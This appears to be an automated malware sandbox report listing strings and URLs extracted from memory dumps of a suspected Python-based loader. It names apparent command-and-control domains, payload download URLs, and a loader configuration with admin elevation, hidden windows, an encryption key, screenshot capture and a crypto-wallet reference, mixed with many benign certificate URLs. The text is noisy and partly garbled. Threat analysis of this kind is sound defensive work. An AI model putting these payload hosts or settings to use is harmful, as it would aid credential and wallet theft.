"viigmeeftsgs.com/fkdr2342fsf/felix1" Heuristic match: "programdata%\nexussoftware\felix1\main.py" Pattern match: "twitmerklend.com/31aa8434-bc4d-511f-910d-adbab2766b4f" Heuristic match: "witmerklend.com" Pattern match: "https://twitmerklend.com/31aa8434-bc4d-511f-910d-adbab2766b4f" Pattern match: "https://twitmerklend.com/31aa8434-bc4d-511f-910d-adbab2766b4f/22d0642c-c560-5532-a5ee-70fb76dc49ef" Heuristic match: "otwitmerklend.com" Heuristic match: "iigmeeftsgs.com" Pattern match: "thelkfklef.com/39a3118a-b37f-57e0-9746-abd7aa3cbf0d/ns1.zip" Heuristic match: "ntrust.net" Pattern match: "https://viigmeeftsgs.com/fkdr2342fsf/felix1" Heuristic match: "%programdata%\nexussoftware\felix1\main.py" Pattern match: "https://thelkfklef.com/39a3118a-b37f-57e0-9746-abd7aa3cbf0d/ns1.zip" Heuristic match: "\cviigmeeftsgs.com" Pattern match: "ye2.c.lencr.org/mitmproxy-236356893075616227624110519622398477259530153583.crl0" Heuristic match: "host: twitmerklend.com" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "www.digicert.com1$0" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0p" Pattern match: "www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/cps" Pattern match: "http://repository.swisssign.com/0" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "http://www.microsoft.com0" Pattern match: "www.microsoftt" Pattern match: "www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.crt0" Pattern match: "http://microsoft.com0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Heuristic match: "??\c:\programdata\nexussoftware\felix1\pyarmor_runtime_000000\__init__.py" Pattern match: "http://schem" Pattern match: "oft.com/windows/2004/02/mit/task" Pattern match: "http://schemas.microsoft.com/windows/2004/02/mit/task" Pattern match: "yr1.c.lencr.org/mitmproxy-236356893075616227624110519622398477259530153583.crl0" Heuristic match: ":\programdata\nexussoftware\felix1\main.py" Heuristic match: "kthelkfklef.com" Heuristic match: "c:\programdata\nexussoftware\felix1\pythonw.exe c:\programdata\nexussoftware\felix1\main.py" Heuristic match: "elthelkfklef.com" Heuristic match: "itmerklend.com" Heuristic match: "helkfklef.com" Heuristic match: "host: viigmeeftsgs.com" Heuristic match: "'on.hk" Heuristic match: "ystem.activityhistory.id" Heuristic match: "ystem.appusermodel.id" Heuristic match: "ystem.identityprovider.name" Heuristic match: "ystem.protocol.name" Heuristic match: "ystem.sam.name" Heuristic match: "ystem.structuredquery.is" Heuristic match: "ystem.structuredquery.virtual.cc" Heuristic match: "ystem.structuredquery.virtual.to" Heuristic match: "system.activityhistory.id" Heuristic match: "system.identityprovider.name" Heuristic match: "system.sam.name" Heuristic match: "system.structuredquery.virtual.cc" Heuristic match: "system.structuredquery.virtual.to" Heuristic match: "system.structuredquery.is" Heuristic match: "system.protocol.name" Heuristic match: "system.appusermodel.id" Heuristic match: "system.structuredquerytype.implicit.is" Heuristic match: "c:\programdata\nexussoftware\felix1\main.py" Heuristic match: "x1\main.py" Heuristic match: "??\c:\programdata\nexussoftware\felix1\main.py" Pattern match: "myimport.zip/mydirectory" Heuristic match: "c:\programdata\nexussoftware\felix1\lib\codecs.py" Heuristic match: "djh.jm" Heuristic match: "__init__.py" Heuristic match: "c:\programdata\nexussoftware\felix1\lib\importlib\_bootstrap_external.py" Heuristic match: "c:\programdata\nexussoftware\felix1\lib\zipimport.py" Heuristic match: "c:\programdata\nexussoftware\felix1\lib\abc.py" Heuristic match: "c:\programdata\nexussoftware\felix1\lib\io.py" Heuristic match: "\__init__.py" Heuristic match: "encodings\__init__.py" Heuristic match: "it__.py" Heuristic match: "nit__.py" Heuristic match: "c:\programdata\nexussoftware\felix1\pyarmor_runtime_000000\__init__.py" Heuristic match: "c:\programdata\nexussoftware\felix1\lib\_collections_abc.py" Heuristic match: "main.py" Heuristic match: "encodings\aliases.py" Heuristic match: "encodings\utf_8.py" Heuristic match: "52.py" Heuristic match: "encodings\cp1252.py" Heuristic match: "``_concatenategenericalias`` from typing.py" Heuristic match: "python.cat" Heuristic match: "enum.py" Heuristic match: "base64.py" Heuristic match: "re\__init__.py" Heuristic match: "__.py" Heuristic match: "enum.name" Heuristic match: "functools.py" Heuristic match: "types.py" Heuristic match: "collections\__init__.py" Heuristic match: "ctypes\__init__.py" Heuristic match: "c:\programdata\nexussoftware\felix1\lib\os.py" Heuristic match: "c:\programdata\nexussoftware\felix1\lib\stat.py" Heuristic match: "c:\programdata\nexussoftware\felix1\lib\ntpath.py" Heuristic match: "c:\programdata\nexussoftware\felix1\lib\genericpath.py" Heuristic match: "keyword.py" Heuristic match: "operator.py" Heuristic match: "reprlib.py" Heuristic match: "re\_compiler.py" Heuristic match: "t__.py" Heuristic match: "re\_parser.py" Heuristic match: "re\_constants.py" Heuristic match: "re\_casefix.py" Heuristic match: "copyreg.py" Heuristic match: "struct.py"6d:T8898,Found URL "https://twitmerklend.com/31aa8434-bc4d-511f-910d-adbab2766b4f)" - Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp") Found URL "https://twitmerklend.com/31aa8434-bc4d-511f-910d-adbab2766b4f/22d0642c-c560-5532-a5ee-70fb76dc49efmicrosoft" - Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp") Found URL "https://viigmeeftsgs.com/fkdr2342fsf/felix1install_pathd%programdata%\nexussoftware\felix1launch_methodargst%programdata%\nexussoftware\felix1\main.pywow64_bypassrun_as_adminstartup_methodlaunch_typeexpand_env_vars_in_argsescape_special_chars_in_commandverbose_window_hidehide_install_pathuse_encrypted_containercontainer_encryption_keypr/huwyvazzpj1kyif5sgaybmzkrb5fz0lko1r4witfsyuqcwczt08cdlec+1tzodepybr3lgarawrl+za/vig==auto_unpack_zipzip_executable_filespythonw.exemake_screenshotshttps://thelkfklef.com/39a3118a-b37f-57e0-9746-abd7aa3cbf0d/ns1.zipinstall_path%temp%\test2launch_methodargswow64_bypassrun_as_adminstartup_methodlaunch_typeexpand_env_vars_in_argsescape_special_chars_in_commandverbose_window_hidehide_install_pathuse_encrypted_containercontainer_encryption_keyhjppophg3213iyuqnszw0pqcjadsloy5fpa==auto_unpack_zipzip_executable_files)msedgewebview.exemake_screenshotsata%\coinomi.exeampaign_identifierwitmerklend.comerbose_window_hideake_screenshotsake_screenshotside_install_pathwitmerklend.comwitmerklend.comerbose_window_hideide_install_pathwitmerklend.comiigmeeftsgs.comfkdr2342fsf/felix1iigmeeftsgs.comiigmeeftsgs.comiigmeeftsgs.comiigmeeftsgs.comiigmeeftsgs.comiigmeeftsgs.comiigmeeftsgs.comiigmeeftsgs.comiigmeeftsgs.comiigmeeftsgs.comiigmeeftsgs.comsedgewebview.exeiigmeeftsgs.comiigmeeftsgs.comviigmeeftsgs.comcalrpc:[dhcpcsvc,security=impersonation" - Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp") Found URL "http://ye2.c.lencr.org/mitmproxy-236356893075616227624110519622398477259530153583.crl0" - Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp") Found URL "https://viigmeeftsgs.com/fkdr2342fsf/felix1https://viigmeeftsgs.com/fkdr2342fsf/felix1microsoft" - Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czcv5_,globalsign" - Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.:bxz-e'secom" - Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp") Found URL "https://twitmerklend.com/31aa8434-bc4d-511f-910d-adbab2766b4fpostapiocojrv5f" - Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp") Found URL "https://twitmerklend.com/31aa8434-bc4d-511f-910d-adbab2766b4fhttps://twitmerklend.com/31aa8434-bc4d-511f-910d-adbab2766b4f)" - Source: "00000000-00002512.00000001.111136.00B70000.00000004.mdmp") Found URL "https://twitmerklend.com/31aa8434-bc4d-511f-910d-adbab2766b4f/22d0642c-c560-5532-a5ee-70fb76dc49efsend_execution_statusaccess_key0uj7gfepqckugx6qlbf3dpjattask_id%machine_idd6b7575fccc03986ef56be47ce8661b32a90314446921c57b60campaign_identifierh22d0642c-c560-5532-a5ee-70fb76dc49efis_successerror_codemicrosoft" - Source: "00000000-00002512.00000001.111136.00B70000.00000004.mdmp") Found URL "http://head" - Source: "00000000-00003580.00000001.112940.70209000.00000002.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00003640.00000001.113238.31C90000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e0%:l,czc%wvfg2" - Source: "00000000-00003640.00000001.113238.31C90000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0pd0b0" - Source: "00000000-00003640.00000001.113238.31C90000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0y" - Source: "00000000-00003640.00000001.113238.31C90000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00003640.00000001.113238.31C90000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00003640.00000001.113238.31C90000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00003640.00000001.113238.31C90000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00003640.00000001.113238.31C90000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00003640.00000001.113238.4C073000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00003640.00000001.113238.4C073000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00003640.00000001.113238.4C073000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00003640.00000001.113238.4C073000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00003640.00000001.113238.4C073000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czc2z" - Source: "00000000-00003640.00000001.113238.4C073000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.%ydigicert" - Source: "00000000-00003640.00000001.113238.4C073000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00003640.00000001.113238.4C073000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00003640.00000001.113238.4C073000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00003640.00000001.113238.4C073000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00003640.00000001.113238.4C073000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00003640.00000001.113238.4C073000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00003640.00000001.113238.4C073000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00003640.00000001.113238.4C073000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm;" - Source: "00000000-00003640.00000001.113238.4C073000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00003640.00000001.113238.4C073000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0eris22:l*r0m0cth" - Source: "00000000-00003640.00000001.113238.4C073000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00003640.00000001.113238.4C073000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00003640.00000001.113238.4C073000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00003640.00000001.113238.4C073000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00003640.00000001.113238.4C073000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00003640.00000001.113238.4C073000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?secom" - Source: "00000000-00003640.00000001.113238.4C073000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn9iqmgvw,czc2z" - Source: "00000000-00003640.00000002.114366.4C073000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.%ydigicert" - Source: "00000000-00003640.00000002.114366.4C073000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00003640.00000002.114366.4C073000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00003640.00000002.114366.4C073000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00003640.00000002.114366.4C073000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00003640.00000002.114366.4C073000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00003640.00000002.114366.4C073000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00003640.00000002.114366.4C073000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00003640.00000002.114366.4C073000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm;" - Source: "00000000-00003640.00000002.114366.4C073000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00003640.00000002.114366.4C073000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0eris22:l*r0m0cth" - Source: "00000000-00003640.00000002.114366.4C073000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00003640.00000002.114366.4C073000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00003640.00000002.114366.4C073000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00003640.00000002.114366.4C073000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00003640.00000002.114366.4C073000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" - Source: "00000000-00003640.00000002.114366.4C073000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?secom" - Source: "00000000-00003640.00000002.114366.4C073000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mn" - Source: "00000000-00003640.00000002.114366.4C280000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00003640.00000002.114366.4C280000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0=o'x_hl$z_" - Source: "00000000-00003640.00000002.114366.4C280000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-sttja%202010(1).crt0ahq.a)d$g5" - Source: "00000000-00003640.00000002.114366.4C2DF000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kcrl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00003640.00000002.114366.4C2DF000.00000004.mdmp") Found URL "http://www.miehttp://wwoft.com/pkiops/cwinpropca2011_20.crt0m$57" - Source: "00000000-00003640.00000002.114366.4C2DF000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0gv" - Source: "00000000-00003640.00000002.114366.4C34F000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0mpfa=" - Source: "00000000-00003640.00000002.114366.4C34F000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00003640.00000002.114366.4C37A000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0dyd!0[p%0" - Source: "00000000-00003640.00000002.114366.4C37A000.00000004.mdmp") Found URL "http://www.microsoft.com0" - Source: "00000000-00003640.00000002.114366.4C37A000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl%200au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0m$57wjuops/lp^.l" - Source: "00000000-00003640.00000002.114366.4C37A000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=390787'compatiblepseditions" - Source: "00000000-00003640.00000002.114366.4C37A000.00000004.mdmp") Found URL "http://www.microsoft.compfalrporation1500446+5@n@l" - Source: "00000000-00003640.00000002.114366.4C37A000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00003640.00000002.114366.4C3B6000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt00_1t?lvbp)r" - Source: "00000000-00003640.00000002.114366.4C3B6000.00000004.mdmp") Found URL "http://www.microsoft.com0=" - Source: "00000000-00003640.00000002.114366.4C41C000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>washington1redmond1microsoft" - Source: "00000000-00003640.00000002.114366.4C41C000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00003640.00000002.114366.4C41C000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0:'l$zmsnc" - Source: "00000000-00003640.00000002.114366.4C41C000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0::vm4" - Source: "00000000-00003640.00000002.114366.4C41C000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0]bbae" - Source: "00000000-00003640.00000002.114366.4C41C000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0qhwbs-ztxnw,xzz" - Source: "00000000-00003640.00000002.114366.4C41C000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/windows%20production%20pca%202023.crl0g[0y0wkhttp://www.microsoft.com/pkiops/certs/windows%20production%20pca%202023.crt0vd!7i6u4$i<-o_-!dq" - Source: "00000000-00003640.00000002.114366.4C41C000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00003640.00000002.114366.4D100000.00000004.mdmp") Found URL 